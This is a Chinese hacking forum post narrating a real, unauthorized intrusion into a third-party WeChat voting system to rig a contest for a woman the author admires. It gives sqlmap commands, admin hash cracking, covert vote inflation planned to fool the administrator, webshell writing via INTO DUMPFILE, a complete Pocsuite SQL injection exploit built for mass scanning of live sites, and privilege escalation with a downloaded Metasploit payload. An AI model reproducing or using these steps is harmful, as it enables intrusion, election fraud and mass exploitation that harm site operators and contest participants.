来源;http://bbs.ichunqiu.com/thread-10123-1-1.html?from=ch
0x01 前言
本来之前写了很多前言了,可是昨天早晨发生了一件事,我打算重新写前言,小伙伴们,小板凳准备好,我的前言是这样的:满屏都是王宝强,真诚提醒忘掉他们昨日的誓言。李晨说会一直保护张馨予,谢霆锋说不介意张柏芝的过去,文章说这辈子最骄傲的是马伊琍……人有时真的是很善变的动物,真正永恒不变的只有
你挖或不挖,漏洞就在那里
全心全意为你陪伴着你
很多盆友说不会再爱了,但我想说,女神还是得追的,万一她瞎呢。所以,书接上回,和女神聊天聊起来给基友孩子刷票的事,她一下就来劲了,说正好她也在参加一个投票活动,能不能帮她刷票啊,如果得第一,有特殊奖励哦,特殊奖励(做痴迷状)……
0x02 渗透测试
0x021 信息收集
投过手机浏览投票页面,发现是第三方程序,而非微信官方投票系统,那就能继续向前走,
并且都没微信端验证,在电脑上可以直接打开,隐隐觉得有戏。
手机抓包投票数据,根据上次刷票的经验,有可能下图中标识的两个id为验证项,也就是说,要想达到刷票目的,需要大量openid,后续事实证明如此,但我们今天刷票更精彩,各位客官,且听我慢慢道来。
将url除域名意外的部分删掉看看主页是个什么样子,当我看到登录界面时,我心中的猛虎已开始细嗅蔷薇。
0x022 SQL注入
平时我已经习惯了浏览网页时开着被动注入检测工具(点这里url),可这次却没用到,因为工具是有延时的,没有手工来得快。说来你们可能不信,看到第一张图我标示的那个搜索框了吗?当我输入一个单引号时,竟然报错了,这也许就是渗透经验吧。
果断用burp抓取搜索包,给sqlmap检测
[AppleScript]纯文本查看复制代码
1
Python sqlmap.py –r post.txt –dbs
经过漫长的等待,检测结果出来了,有两个参数存在注入,分别为id和token
经过漫长的分析(分析表结构,n多表,此处省略1万字,渗透是体力活啊),终于拿到了管理员的用户名和密码散列还有QQ。
花了1毛钱最终破解了密码,为了女神,值!
0x023进后台加票
用破解的用户名密码成功登陆后台,此时我内心的猛虎已开始咆哮。
那还等什么,看看怎么加票吧!点“选手设置”,看到了女神,排名还比较靠后。点“投票选项管理”,加减票选项出现了,是的,既可以加票也可以检票
有的同学可能会问了,那这投票岂不是管理员说了算?想让谁第一就让谁第一?没错,管理员具有“上帝模式”(为什么加引号?因为我才是真正的上帝!),不仅如此,还有更扯淡的,那就是主页上的浏览量、投票量和报名数都可以在后台设置。我好像知道的有点多了。
为了不让管理员发觉,我分数次将女神顶到了前边,但出现了新问题,这套系统的目的就是微信圈粉,如果关注公众号投票后又取消,那么所投票数是会被自动减掉的,并且后台会记录所有投票的记录数。
也就是说,如果不在后台加票,那么总记录数=总票数+减去的票数,但如果我在后台直接加票,会使得总记录数<总票数,管理员就有理由认为有人进后台加票了。那怎么办?
理了一下思路发现有两条路可走,
第一条路,利用刷票的方法满足以上等式条件,可刷票需要大量openid,哪里去弄那么多openid?再像上次那样XSS打?还不一定有XSS,即使有,时间成本太高,也刷不了几票,但是(重读),系统竟然很贴心的为我们准备好了所有投过票用户的openid,还支持导出excle,
但通过实践,可以成功刷票并且满足以上条件(具体过程限于篇幅不表,可参考上篇文章url),可是又有了新的问题,就是你把别人的openid用了,人家再投票回提示已投票,不能再投了,相当于我把所有选手的支持者都拉到了我女神的石榴裙下,那人家能乐意吗?万一有好事者联系管理员,那九前功尽弃了,动静太大了,正所谓“善攻者,飞于九天之上;善守者,遁于九地之下。”,此时我们就应该“遁于九地之下”,来看第二条路……
第二条路,就是取得webshell或者数据库权限,直接修改数据库中的记录数,使得后台加票后也满足以上等式。怎么?有些不耐心了?想直接加票就走人?不,我们要的是Perfect.
0x024 Get Webshell
我们来总结下,看看我们手里有多少料,你妹的,貌似我们除了一个后台,一个注入点,什么都没有。后台经过漫长的检测(累啊!头悬梁,锥刺股,大喊三声“女神”,接着干),并没有上传漏洞,并没有命令执行,并没有CSRF,并没有……总之后台没能getshell。此时我心中的猛虎酣睡了。现在只有注入点了,看看是什么权限吧,还算有点欣慰,是root。(这一天天,大起大落,小心脏都受不了)
那快用sqlmap写个webshell试试吧,写shell需要绝对路径,哪里找?刚开始的单引号报错就爆出了绝对路径,从后台照片处找到了照片上传路径,这样就构造出了有写权限的绝对路径。
竟然失败了。
说实话,当时我都快哭了,可是一想到女神,再一次目光坚定的望向了远方……那我看看能不能查出数据库用户名密码,然后幸运的话可以外联一下,事实证明,我特么想多了,又失败了。
既然工具不行,那就手工写shell把,还好,那我们直接经典的selectinto outfile导出webshell不就行了,用sqlmap的sql-shell试了下,总提示条件不满足。
还好注入点支持union联合查询,直接执行
[AppleScript]纯文本查看复制代码
1
Select,2,3,4intooutfile d:\\www\\uploads\\c.php
还是失败了(绝对路径用双斜杠是因为在执行时会将一个\转义为空)。好像是超过了长度,这个时候看到了这篇帖子点我,我可以把一句话拆分再hex啊
还是失败了,查了下原因。
mysql dumpfile与outfile函数的区别 SELECT into outfile :导出到一个txt文件,可以导出每行记录的,这个很适合导库 SELECT into dump:只能导出一行数据如果想把一个可执行二进制文件用into outfile函数导出,导出后,文件会被破坏因为into outfile函数会在行末端写新行,更致使的是会转义换行符,这样2进制可执行文件就会被破坏这时,我们能用into dumpfile导出一个完整能执行的2进制文件,它不对任何列或行进行终止,也不执行任何转义处理总结: into outfile:导出内容 into dumpfile:导出二进制文件
把outfile换成dumpfile,终于成功getshell,真是黄天不负有心人啊。
后来提权后测试发现,intooutfile会把一句话导出为这样
看到没有,中间多了空格。
终于可以放心大胆的给女神加票了,最终在我的帮助之下,女神取得了第一,特殊奖励就是一个大大的拥抱,88块的红包和她崇拜的眼神,我是说真的J
0x025 编写poc批量验证
刷票任务完成了,但是我们学习的脚步不能停,我发现这套投票系统比较通用,通过pentest(url)的谷歌工具发现网上有大量部署,何不写个poc批量验证呢,我习惯了用pocsuit写poc,大家可以选择其他框架。这里我直接给出代码
[Python]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97#!/usr/bin/env python
# coding: utf-8
importre
importurlparse
importurllib
importurllib2
frompocsuite.netimportreq
frompocsuite.pocimportPOCBase, Output
frompocsuite.utilsimportregister
classTestPOC(POCBase):
vulID='62274'# ssvid
version='1'
author=['野驴']
vulDate='2016-08-05'
createDate='2016-08-05'
updateDate='2016-08-05'
references=['']
name='weilianyun_toupiao_sql_inj_PoC'
appPowerLink='http://www..cn'
appName=''
appVersion='2016'
vulType='SQL Injection'
desc='''
投票管理系统,sql注入,报错,联合查询,时间盲注
'''
samples=['http://www..cn/']
def_attack(self):
result={}
#漏洞页面
exploit='/***&token=Eioa5C5oj3S32qhH&id='
#利用的payload
payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,0x7170717071,(MID((IFNULL(CAST(CURRENT_USER()%20AS%20CHAR),0x20)),1,21)),0x716a626a71))'
#构造访问地址
vulurl=self.url+exploit+payload
#提取信息的正则表达式
parttern='.*qpqpq(.*)qjbjq.*'
#自定义的HTTP头
httphead={
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
'Content-Type':'application/x-www-form-urlencoded'
}
#访问
resp=req.get(url=vulurl,headers=httphead,timeout=50)
#判断特征字符串
if'XPATH syntax error'inresp.content:
#提取信息
match=re.findall(parttern,resp.content,re.I|re.M)
ifmatch:
result['DbInfo']={}
#记录数据库用户名
result['DbInfo']['UserName']=match[0]
returnself.parse_attack(result)
def_verify(self):
#利用漏洞计算md5(3.1415)
result={}
#漏洞页面
exploit='/***&token=Eioa5C5oj3S32qhH&id='
#利用的payload
payload='9%20AND%20EXTRACTVALUE(5420,CONCAT(0x5c,MD5(3.1415)))'
#payload='1 AND extractvalue(1, concat(0x5c,md5(3.1415)))'
#md5(3.1415)的值
md5value='63e1f04640e83605c1d177544a5a0488'
#构造访问地址
vulurl=self.url+exploit+payload
#自定义的HTTP头
httphead={
'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Connection':'keep-alive',
'Content-Type':'application/x-www-form-urlencoded'
}
#访问
resp=req.get(url=vulurl,headers=httphead,timeout=50)
#判断特征字符串(由于extractvalue有长度限制,这里只比较前30位)
ifmd5value[:30]inresp.content:
#漏洞验证成功
result['VerifyInfo']={}
result['VerifyInfo']['URL']=self.url+exploit
result['VerifyInfo']['Payload']=payload
returnself.parse_attack(result)
defparse_attack(self, result):
output=Output(self)
ifresult:
output.success(result)
else:
output.fail('Internet nothing returned')
returnoutput
register(TestPOC)
这里我说下attack模式下,正则获取数据库用户的方法,通过测试发现投送payload(sqlmap –v 3获得)后,数据库用户是包含在两个特殊字符串中间的
所以我们的正则可以这么写
[AppleScript]纯文本查看复制代码
1
.*qpqpq(.*)qjbjq.*
来执行下
导入刚才pentest爬取的域名文件
[AppleScript]纯文本查看复制代码
1
2
3Pcs>config
Pcs.config>urlFileurl.txt
pcs>attack
0x026 提权
提权就比较简单了,先msfVENOM生成payload
webshell直接下载公网metasploit的payload,执行后,获得meterpreter交互
0x03 结束语
实在写不动了,但是我想说,渗透虽然是个体力加脑力活,但因为我喜欢,所以痛并快乐着。回顾下我们渗透的过程
信息收集->注入管理员信息->进后台->getwebshell->合法加票->poc批量验证->提权
明天又会有什么趣闻发生呢?管他呢,我退出娱乐圈很久了。
首发i春秋
野驴原创,值得拥有!
声明:以上文章仅作学习交流之用,如读者因阅读本文而做出不恰当举动,纯属个人行为,与本文作者无关。